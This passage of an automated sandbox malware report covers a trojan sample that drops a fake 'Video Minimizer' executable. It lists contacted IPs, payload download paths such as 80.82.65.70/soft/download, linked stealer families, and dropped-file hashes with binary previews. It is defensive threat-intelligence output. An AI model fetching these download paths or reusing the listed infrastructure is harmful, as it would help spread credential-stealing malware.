                                                                                                                                                                  https://account.live.com/inlinesignup.aspx?iww=1&id=80605svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                    high
                                                                                                                                                                    https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfREsvchost.exe, 00000015.00000003.2118792644.00000235C2D10000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                      high
                                                                                                                                                                      https://account.live.com/inlinesignup.aspx?iww=1&id=80603svchost.exe, 00000015.00000003.2119140678.00000235C2D4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                        high
                                                                                                                                                                        https://iplogger.org/1Pz8p7Y-Cleaner.exe.5.dr, soft[1].5.drfalse
                                                                                                                                                                          high
                                                                                                                                                                          https://account.live.com/inlinesignup.aspx?iww=1&id=80604svchost.exe, 00000015.00000002.2536435266.00000235C245F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000003.2119303923.00000235C2D63000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                            high
                                                                                                                                                                            http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdsvchost.exe, 00000015.00000003.2293599712.00000235C2D69000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                              high
                                                                                                                                                                              • No. of IPs < 25%
                                                                                                                                                                              • 25% < No. of IPs < 50%
                                                                                                                                                                              • 50% < No. of IPs < 75%
                                                                                                                                                                              • 75% < No. of IPs
                                                                                                                                                                              IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                              31.214.157.206
                                                                                                                                                                              unknownGermany
                                                                                                                                                                              58329RACKPLACEDEfalse
                                                                                                                                                                              80.82.65.70
                                                                                                                                                                              unknownNetherlands
                                                                                                                                                                              202425INT-NETWORKSCfalse
                                                                                                                                                                              188.119.66.185
                                                                                                                                                                              unknownRussian Federation
                                                                                                                                                                              209499FLYNETRUfalse
                                                                                                                                                                              Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                              Analysis ID:1573851
                                                                                                                                                                              Start date and time:2024-12-12 16:46:10 +01:00
                                                                                                                                                                              Joe Sandbox product:CloudBasic
                                                                                                                                                                              Overall analysis duration:0h 8m 44s
                                                                                                                                                                              Hypervisor based Inspection enabled:false
                                                                                                                                                                              Report type:full
                                                                                                                                                                              Cookbook file name:default.jbs
                                                                                                                                                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                              Number of analysed new started processes analysed:23
                                                                                                                                                                              Number of new started drivers analysed:0
                                                                                                                                                                              Number of existing processes analysed:0
                                                                                                                                                                              Number of existing drivers analysed:0
                                                                                                                                                                              Number of injected processes analysed:0
                                                                                                                                                                              Technologies:
                                                                                                                                                                              • HCA enabled
                                                                                                                                                                              • EGA enabled
                                                                                                                                                                              • AMSI enabled
                                                                                                                                                                              Analysis Mode:default
                                                                                                                                                                              Analysis stop reason:Timeout
                                                                                                                                                                              Sample name:file.exe
                                                                                                                                                                              Detection:MAL
                                                                                                                                                                              Classification:mal100.troj.evad.winEXE@27/55@0/3
                                                                                                                                                                              EGA Information:
                                                                                                                                                                              • Successful, ratio: 75%
                                                                                                                                                                              HCA Information:
                                                                                                                                                                              • Successful, ratio: 93%
                                                                                                                                                                              • Number of executed functions: 203
                                                                                                                                                                              • Number of non-executed functions: 261
                                                                                                                                                                              Cookbook Comments:
                                                                                                                                                                              • Found application associated with file extension: .exe
                                                                                                                                                                              • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                                                                                                                                                              • Excluded IPs from analysis (whitelisted): 40.126.53.12, 40.126.53.13, 20.190.181.2, 20.190.181.6, 20.190.181.5, 40.126.53.18, 20.231.128.67, 20.190.181.1, 104.208.16.94, 13.107.246.63, 52.149.20.212
                                                                                                                                                                              • Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, otelrules.azureedge.net, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net, onedsblobprdcus16.centralus.cloudapp.azure.com
                                                                                                                                                                              • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                              • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                                              • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                              • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                              • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                              • VT rate limit hit for: file.exe
                                                                                                                                                                              TimeTypeDescription
                                                                                                                                                                              10:47:35API Interceptor910169x Sleep call for process: file.exe modified
                                                                                                                                                                              10:48:04API Interceptor1x Sleep call for process: MpCmdRun.exe modified
                                                                                                                                                                              10:48:44API Interceptor15x Sleep call for process: videominimizer2.exe modified
                                                                                                                                                                              10:48:57API Interceptor1x Sleep call for process: WerFault.exe modified
                                                                                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                              31.214.157.206imMQqf6YWk.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                imMQqf6YWk.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                  file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                    file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                      file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                        file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                          file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                            80.82.65.70PGkSZbFKmI.exeGet hashmaliciousLummaC, Amadey, LummaC StealerBrowse
                                                                                                                                                                                            • 80.82.65.70/files/download
                                                                                                                                                                                            Mk4JWS27SO.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 80.82.65.70/soft/download
                                                                                                                                                                                            BsVEQQnfyN.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 80.82.65.70/soft/download
                                                                                                                                                                                            file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                            • 80.82.65.70/soft/download
                                                                                                                                                                                            file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                            • 80.82.65.70/soft/download
                                                                                                                                                                                            file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                            • 80.82.65.70/files/download
                                                                                                                                                                                            file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                            • 80.82.65.70/soft/download
                                                                                                                                                                                            file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 80.82.65.70/soft/download
                                                                                                                                                                                            file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                            • 80.82.65.70/files/download
                                                                                                                                                                                            file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 80.82.65.70/soft/download
                                                                                                                                                                                            188.119.66.185imMQqf6YWk.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                              imMQqf6YWk.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                                  file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                    file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                      file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                        file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                          file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                            file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                              file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                No context
                                                                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                RACKPLACEDEimMQqf6YWk.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 31.214.157.206
                                                                                                                                                                                                                imMQqf6YWk.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 31.214.157.206
                                                                                                                                                                                                                file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                                                • 31.214.157.206
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 31.214.157.206
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 31.214.157.206
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 31.214.157.206
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 31.214.157.206
                                                                                                                                                                                                                file.exeGet hashmaliciousAmadey, Stealc, VidarBrowse
                                                                                                                                                                                                                • 31.214.157.124
                                                                                                                                                                                                                file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                                                • 31.214.157.226
                                                                                                                                                                                                                .gov.ua.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                • 31.214.157.49
                                                                                                                                                                                                                FLYNETRUimMQqf6YWk.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                imMQqf6YWk.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                https://drive.google.com/file/d/1yoYdaJg2olHzjqEKXjn6nnXKPPak7HoL/view?usp=sharing_eil&ts=675747b9Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                • 188.119.66.154
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                INT-NETWORKSCPGkSZbFKmI.exeGet hashmaliciousLummaC, Amadey, LummaC StealerBrowse
                                                                                                                                                                                                                • 80.82.65.70
                                                                                                                                                                                                                Mk4JWS27SO.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                • 80.82.65.70
                                                                                                                                                                                                                BsVEQQnfyN.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                • 80.82.65.70
                                                                                                                                                                                                                file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                                                • 80.82.65.70
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 80.82.65.70
                                                                                                                                                                                                                file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                • 80.82.65.70
                                                                                                                                                                                                                file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                                                • 80.82.65.70
                                                                                                                                                                                                                file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                • 80.82.65.70
                                                                                                                                                                                                                file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                • 80.82.65.70
                                                                                                                                                                                                                file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                • 80.82.65.70
                                                                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                51c64c77e60f3980eea90869b68c58a8imMQqf6YWk.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                imMQqf6YWk.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                17Xmvtq2Tq.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                file.exeGet hashmaliciousAmadey, Stealc, VidarBrowse
                                                                                                                                                                                                                • 188.119.66.185
                                                                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                C:\ProgramData\EarnPackage\sqlite3.dllimMQqf6YWk.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                  imMQqf6YWk.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                    file.exeGet hashmaliciousAmadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                                                                                                      file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                        file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                          file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                            file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                              file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                                file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                                  file.exeGet hashmaliciousSocks5SystemzBrowse
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe
                                                                                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):3335664
                                                                                                                                                                                                                                    Entropy (8bit):6.663593487538586
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:49152:QkLxnG8PkcX6X4mMMFXck1Q2HRNZkrPyZd9tSr9aPibscQZn5OUg:QkLdGm81MMFDQ2HRNZ2PyZneWt5OT
                                                                                                                                                                                                                                    MD5:BDDC95BF37B6EB97D516948CEC1CB311
                                                                                                                                                                                                                                    SHA1:69EFD2FCE1120E4EE0AB90F0DA0CD25D0E6D8C9A
                                                                                                                                                                                                                                    SHA-256:6AF15A2E4A68C12D983D020F566FDF11FDD1F8AD92ACFB6E2E469E4C0209255D
                                                                                                                                                                                                                                    SHA-512:D6ABC412106C59A2F6682D5D4FE5FF4E24D84BD15E060A6BC30EE78CEAE7767B29C7D60235BAA80F4EB3549EC4600C1609CED9660CF7293422BC2A91C5DCCB57
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Yara Hits:
                                                                                                                                                                                                                                    • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\EarnPackage\EarnPackage.exe, Author: Joe Security
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................PE..L.....Zg.....................^.......]............@..........................P3......k3..............................................P..................................................................................@............................text...j........................... ..`_abtt_2.............................@..@_actt_2.xd.......0..................@....rsrc........P......................@..@_adtt_2...!..0....!.................`.+.........................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe
                                                                                                                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):645592
                                                                                                                                                                                                                                    Entropy (8bit):6.50414583238337
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
                                                                                                                                                                                                                                    MD5:E477A96C8F2B18D6B5C27BDE49C990BF
                                                                                                                                                                                                                                    SHA1:E980C9BF41330D1E5BD04556DB4646A0210F7409
                                                                                                                                                                                                                                    SHA-256:16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
                                                                                                                                                                                                                                    SHA-512:335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                    Joe Sandbox View:
                                                                                                                                                                                                                                    • Filename: imMQqf6YWk.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                    • Filename: imMQqf6YWk.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                    • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                    • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                    • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                    • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                    • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                    • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                    • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                    • Filename: file.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..
                                                                                                                                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):679860
                                                                                                                                                                                                                                    Entropy (8bit):5.255416157398269
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:12288:eBLiKZWAAllNJheaP7QaPa8CtcV3w6F6BM/vWjfLDxqq6A+kmfDUhbpEj2DDpO1e:V+DN
                                                                                                                                                                                                                                    MD5:14BE3F97CF00DE60A9745DF6684BB930
                                                                                                                                                                                                                                    SHA1:82ACBF90E955BBD55A116799056426A3D2C30C2F
                                                                                                                                                                                                                                    SHA-256:678C4CC81F036DEEF0075844FA7115E40C07DE22137102A5CFF61D3CE7CDD68C
                                                                                                                                                                                                                                    SHA-512:1F476916140A570B4506830BB4A337A1F45DCE9600DE3CB1BF48BB1F17B7D2CB4E555CBCDAC808AFF57F5CDE099D004E2629F9406EA5780355BF7E9A08E78212
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:....H...ZV}..i.,.D..."/...RN,u......$......,...................4.c.3.a.4.c.b.8.-.a.c.b.f.-.1.9.f.a.-.d.1.7.6.-.d.1.a.a.0.c.9.f.b.9.e.6._...e.t...................................................x.m.l..................z...9.1.a.5.b.4.c.7.-.2.9.a.8.-.e.c.8.0.-.4.3.2.1.-.f.b.e.c.e.a.9.0.6.7.0.5._.t.r.k...................................................x.m.l...h.......h...........f.d.2.d.4.f.f.f.-.b.a.2.c.-.9.3.c.6.-.8.8.b.9.-.8.7.1.8.4.3.d.d.1.9.e.9._.........................................................x.m.l...........@...........e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.m.e.t...................................................x.m.l...........h.......t...e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.t.r.k...................................................x.m.l...B...................1.8.8.0.0.6.f.c.-.d.8.8.5.-.b.0.c.b.-.e.4.8.c.-.f.1.c.4.e.d.6.0.a.2.b.6._.........................................................x.m.l...........
                                                                                                                                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):679860
                                                                                                                                                                                                                                    Entropy (8bit):5.255416157398269
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:12288:eBLiKZWAAllNJheaP7QaPa8CtcV3w6F6BM/vWjfLDxqq6A+kmfDUhbpEj2DDpO1e:V+DN
                                                                                                                                                                                                                                    MD5:14BE3F97CF00DE60A9745DF6684BB930
                                                                                                                                                                                                                                    SHA1:82ACBF90E955BBD55A116799056426A3D2C30C2F
                                                                                                                                                                                                                                    SHA-256:678C4CC81F036DEEF0075844FA7115E40C07DE22137102A5CFF61D3CE7CDD68C
                                                                                                                                                                                                                                    SHA-512:1F476916140A570B4506830BB4A337A1F45DCE9600DE3CB1BF48BB1F17B7D2CB4E555CBCDAC808AFF57F5CDE099D004E2629F9406EA5780355BF7E9A08E78212
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:....H...ZV}..i.,.D..."/...RN,u......$......,...................4.c.3.a.4.c.b.8.-.a.c.b.f.-.1.9.f.a.-.d.1.7.6.-.d.1.a.a.0.c.9.f.b.9.e.6._...e.t...................................................x.m.l..................z...9.1.a.5.b.4.c.7.-.2.9.a.8.-.e.c.8.0.-.4.3.2.1.-.f.b.e.c.e.a.9.0.6.7.0.5._.t.r.k...................................................x.m.l...h.......h...........f.d.2.d.4.f.f.f.-.b.a.2.c.-.9.3.c.6.-.8.8.b.9.-.8.7.1.8.4.3.d.d.1.9.e.9._.........................................................x.m.l...........@...........e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.m.e.t...................................................x.m.l...........h.......t...e.8.f.f.f.2.d.f.-.6.0.4.1.-.8.f.2.1.-.3.d.f.7.-.d.b.3.1.6.6.1.a.a.0.9.b._.t.r.k...................................................x.m.l...B...................1.8.8.0.0.6.f.c.-.d.8.8.5.-.b.0.c.b.-.e.4.8.c.-.f.1.c.4.e.d.6.0.a.2.b.6._.........................................................x.m.l...........
                                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                    File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):65536
                                                                                                                                                                                                                                    Entropy (8bit):0.9694792799967933
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:192:jfQtFrK+vJPiA0u1Haxt3jud3szuiFiZ24IO8TQBV:kvJou1HEj3zuiFiY4IO8I
                                                                                                                                                                                                                                    MD5:B63F27C3DD0AB486BF10A569AAB5993F
                                                                                                                                                                                                                                    SHA1:5858C82F34FBB4513DAC912F5B9A8293E7C450D5
                                                                                                                                                                                                                                    SHA-256:B3DDABEDC3D0072D62DFD691735852A29D816125691B40C2A3BC82E6A81A8057
                                                                                                                                                                                                                                    SHA-512:B0A24A1534F226CFF3E449FABF9DE9ECD86F3229AF826510764378D614E6C8762B205212199165FF2E63421160523FD81D2D39F139515BDB4FC04E73341DF84C
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.4.9.2.1.0.7.4.5.1.1.1.7.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.4.9.2.1.0.7.9.8.2.3.7.5.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.c.6.c.3.2.f.0.-.c.c.5.5.-.4.0.c.5.-.a.b.8.a.-.9.a.e.0.d.4.7.c.1.5.9.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.b.d.0.3.a.f.4.-.5.4.d.5.-.4.d.a.4.-.8.1.e.7.-.4.4.0.2.1.2.1.7.d.b.0.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.8.0.-.0.0.0.1.-.0.0.1.3.-.5.f.9.2.-.9.0.1.7.a.d.4.c.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.1.4.9.7.9.f.a.6.0.7.e.3.8.d.2.7.9.0.5.b.1.f.1.5.1.f.1.c.2.5.8.0.0.0.0.1.5.0.6.!.0.0.0.0.3.1.6.1.3.9.d.d.3.e.d.c.d.5.a.f.3.a.8.a.f.b.d.8.9.e.4.4.a.c.1.0.b.b.8.e.8.7.e.7.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.2.
                                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                    File Type:Mini DuMP crash report, 14 streams, Thu Dec 12 15:48:27 2024, 0x1205a4 type
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):47220
                                                                                                                                                                                                                                    Entropy (8bit):2.5466710383051803
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:384:z2UqUkVtjpb2lf+NJYr7hIWSu+hwtVGhb2q:zLGHjpb4f+Y9kwtoR
                                                                                                                                                                                                                                    MD5:CE6855CF543E90DF1C07586460D6D023
                                                                                                                                                                                                                                    SHA1:956E49F9B83711AC50DF62A9BB7CF268137631E9
                                                                                                                                                                                                                                    SHA-256:DE614784775A96B5212D0589B133F4E1B53850DCC23979AF5C6C2C1AEEAE01D6
                                                                                                                                                                                                                                    SHA-512:1143CCEF36421657DAFD3F288DC888C2ADA032AC0E21FDF5F058467AF643B1CFF439DAA5A2587DC20D66CA4AD861C3A78777212EA27B4ED94FE8319BFE038EE4
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:MDMP..a..... .........[g............4...........8...<.......T....,..........T.......8...........T............C...t..........t...........` ..............................................................................eJ....... ......GenuineIntel............T...........x.[g....>........................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):8298
                                                                                                                                                                                                                                    Entropy (8bit):3.693753348037004
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:192:R6l7wVeJfCX6n+DA26YeySU9ngmfBGWOpDT89bjIsf7Qphm:R6lXJC6nQA26YLSU9ngmfZHj7fse
                                                                                                                                                                                                                                    MD5:6EEE9A8FD2D09F14FF817EFC26C2F6B3
